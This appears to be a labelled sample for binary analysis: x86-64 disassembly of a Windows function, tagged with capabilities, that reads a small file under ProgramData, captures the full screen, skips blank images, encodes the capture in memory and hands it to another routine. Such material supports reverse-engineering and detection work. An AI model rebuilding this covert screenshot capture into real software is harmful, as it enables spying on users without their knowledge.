Function at 0x14002fd60
Capabilities:
Capture screenshot
Get file size
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2c8
test cl, cl
je 0x14003006e
lea rcx, [rsp + 0xc0]
mov edx, 0x104
call qword [sym.imp.KERNEL32.DLL_GetSystemWindowsDirectoryW]
movzx ecx, word [rsp + 0xc0]
call sub.msvcrt.dll_towlower
mov word [rsp + 0xa0], ax
movzx ecx, word [rsp + 0xc2]
call sub.msvcrt.dll_towlower
mov word [rsp + 0xa2], ax
mov word [rsp + 0xa4], 0
mov byte [rsp + 0x50], 8
movabs rax, 0x5c003f005c005c
mov qword [rsp + 0x52], rax
mov word [rsp + 0x5a], 0
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0xa0]
call fcn.140072e90
movzx ebx, byte [rax]
movzx esi, byte [rax + 1]
movzx edi, word [rax + 2]
mov ecx, dword [rax + 0xc]
mov dword [rsp + 0x78], ecx
mov rcx, qword [rax + 4]
mov qword [rsp + 0x70], rcx
mov r14, qword [rax + 0x10]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [0x140288308], 1
je 0x14002fe31
mov rcx, qword [0x140288318]
call fcn.14006fbd0
mov byte [0x140288308], bl
mov byte [0x140288309], sil
mov word [0x14028830a], di
mov rax, qword [rsp + 0x70]
mov qword [0x14028830c], rax
mov eax, dword [rsp + 0x78]
mov dword [0x140288314], eax
mov qword [0x140288318], r14
test byte [rsp + 0x50], 1
je 0x14002fe7a
mov rcx, qword [rsp + 0x60]
call fcn.14006fbd0
movzx ebx, byte [0x140288308]
mov ecx, ebx
and cl, 1
je 0x14002fe8a
mov rdi, qword [0x140288310]
jmp 0x14002fe8f
shr bl, 1
movzx edi, bl
lea rsi, [rdi + 0x13]
movabs rax, 0x7ffffffffffffff0
cmp rsi, rax
jae 0x140030381
cmp rsi, 0xa
ja 0x14002fecc
xorps xmm0, xmm0
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], 0
add sil, sil
mov byte [rsp + 0x70], sil
xor eax, eax
jmp 0x14002ff07
mov rbx, rsi
or rbx, 7
inc rbx
js 0x14003038b
lea rcx, [rbx + rbx]
call fcn.14006fb50
or rbx, 1
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x78], rsi
movzx ecx, byte [0x140288308]
and cl, 1
mov esi, ebx
test sil, 1
lea rsi, [rsp + 0x72]
cmovne rsi, rax
test cl, cl
je 0x14002ff21
mov rdx, qword [0x140288318]
jmp 0x14002ff28
lea rdx, [0x14028830a]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
movabs rax, 0x730065006c0063
mov qword [rsi + rdi*2 + 0x1e], rax
movups xmm0, xmmword [str.programdata_secles]
movups xmmword [rsi + rdi*2], xmm0
movups xmm0, xmmword [0x1401f58ce]
movups xmmword [rsi + rdi*2 + 0x10], xmm0
mov word [rsi + rdi*2 + 0x26], 0
lea rdx, str.ids
lea rcx, [rsp + 0x70]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x60], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x50], 1
je 0x14002ff9f
mov rcx, qword [rsp + 0x60]
jmp 0x14002ffa4
lea rcx, [rsp + 0x52]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rsi, rax
test byte [rsp + 0x50], 1
je 0x14002ffe5
mov rcx, qword [rsp + 0x60]
call fcn.14006fbd0
test byte [rsp + 0x70], 1
je 0x14002fff9
mov rcx, qword [rsp + 0x80]
call fcn.14006fbd0
lea rax, [rsi + 1]
cmp rax, 2
jb 0x14003036c
mov rcx, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp eax, 0x14
jne 0x14003036c
lea rcx, [0x140288278]
mov edx, 0x14
xor r8d, r8d
call fcn.140072000
test byte [0x140288278], 1
je 0x140030041
mov rdx, qword [0x140288288]
jmp 0x140030048
lea rdx, [0x140288279]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov rcx, rsi
mov r8d, 0x14
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [rsp + 0xc0], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xc8], xmm0
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0xc0]
xor r8d, r8d
call sub.gdiplus.dll_GdiplusStartup
mov rdi, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 0x4c
call rdi
mov esi, eax
mov ecx, 0x4d
call rdi
mov ebp, eax
mov ecx, 0x4e
call rdi
mov ebx, eax
mov ecx, 0x4f
call rdi
mov r15d, eax
sub ebx, esi
sub r15d, ebp
call qword [sym.imp.USER32.dll_GetDesktopWindow]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r12, rax
mov rcx, r14
mov edx, ebx
mov r8d, r15d
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdi, rax
mov rcx, r12
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov r13, rax
mov dword [rsp + 0x38], ebp
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r15d
mov dword [rsp + 0x40], 0xcc0020
mov rcx, r12
xor edx, edx
xor r8d, r8d
mov r9d, ebx
call qword [sym.imp.GDI32.dll_BitBlt]
mov rcx, r12
mov rdx, r13
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, r12
call qword [sym.imp.GDI32.dll_DeleteDC]
xor ecx, ecx
mov rdx, r14
call qword [sym.imp.USER32.dll_ReleaseDC]
mov qword [rsp + 0x50], 0
lea r8, [rsp + 0x50]
mov rcx, rdi
xor edx, edx
call sub.gdiplus.dll_GdipCreateBitmapFromHBITMAP
mov rsi, qword [rsp + 0x50]
mov dword [rsp + 0x50], 0
lea rdx, [rsp + 0x50]
mov rcx, rsi
call sub.gdiplus.dll_GdipGetImageHeight
mov dword [rsp + 0x50], 0
lea rdx, [rsp + 0x50]
mov rcx, rsi
call sub.gdiplus.dll_GdipGetImageWidth
mov r15d, dword [rsp + 0x50]
test r15d, r15d
je 0x140030364
xor ebx, ebx
mov r12b, 1
lea r14, [rsp + 0x50]
xor ebp, ebp
nop word cs:[rax + rax]
mov dword [rsp + 0x50], 0xff000000
mov rcx, rsi
mov edx, ebp
mov r8d, ebx
mov r9, r14
call sub.gdiplus.dll_GdipBitmapGetPixel
test dword [rsp + 0x50], 0xffffff
jne 0x1400301f9
inc ebp
cmp r15d, ebp
jne 0x1400301c0
inc ebx
cmp ebx, r15d
setb r12b
jne 0x1400301b4
jmp 0x140030364
test r12b, 1
je 0x140030364
mov qword [rsp + 0x98], 0
lea r8, [rsp + 0x98]
xor ecx, ecx
mov edx, 1
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
lea rcx, str.557cf401_1a04_11d3_9a73_0000f81ef32e
lea rdx, [rsp + 0x70]
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov rdx, qword [rsp + 0x98]
lea r8, [rsp + 0x70]
mov rcx, rsi
xor r9d, r9d
call sub.gdiplus.dll_GdipSaveImageToStream
test eax, eax
jne 0x140030364
mov qword [rsp + 0x90], 0
mov rcx, qword [rsp + 0x98]
lea rdx, [rsp + 0x90]
call qword [sym.imp.ole32.dll_GetHGlobalFromStream]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.DLL_GlobalSize]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 0
movsxd rbx, eax
lea rcx, [rsp + 0x50]
mov rdx, rbx
xor r8d, r8d
call fcn.140072000
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.DLL_GlobalLock]
test rax, rax
je 0x140030353
test byte [rsp + 0x50], 1
je 0x1400302cf
mov rcx, qword [rsp + 0x60]
jmp 0x1400302d4
lea rcx, [rsp + 0x51]
mov rdx, rax
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.DLL_GlobalUnlock]
mov rcx, qword [rsp + 0x98]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov byte [rsp + 0xa8], 8
mov dword [rsp + 0xa9], 0x63796273
mov byte [rsp + 0xad], 0
call sub.msvcrt.dll_rand
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0xa8]
mov r8b, 0x70
mov r9d, eax
call fcn.14001a5b0
test byte [rsp + 0xa8], 1
je 0x140030353
mov rcx, qword [rsp + 0xb8]
call fcn.14006fbd0
test byte [rsp + 0x50], 1
je 0x140030364
mov rcx, qword [rsp + 0x60]
call fcn.14006fbd0
mov rcx, rsi
call sub.gdiplus.dll_GdipDisposeImage
nop
add rsp, 0x2c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x70]
call fcn.140002ec0
call fcn.140002f60
jmp 0x1400303c1
mov rdi, rax
test byte [rsp + 0x50], 1
je 0x140030440
mov rcx, qword [rsp + 0x60]
call fcn.14006fbd0
jmp 0x140030440
mov rcx, rsi
call sub.gdiplus.dll_GdipDisposeImage
mov rcx, rdi
call fcn.14009a110
mov rcx, rax
call fcn.140014010
int3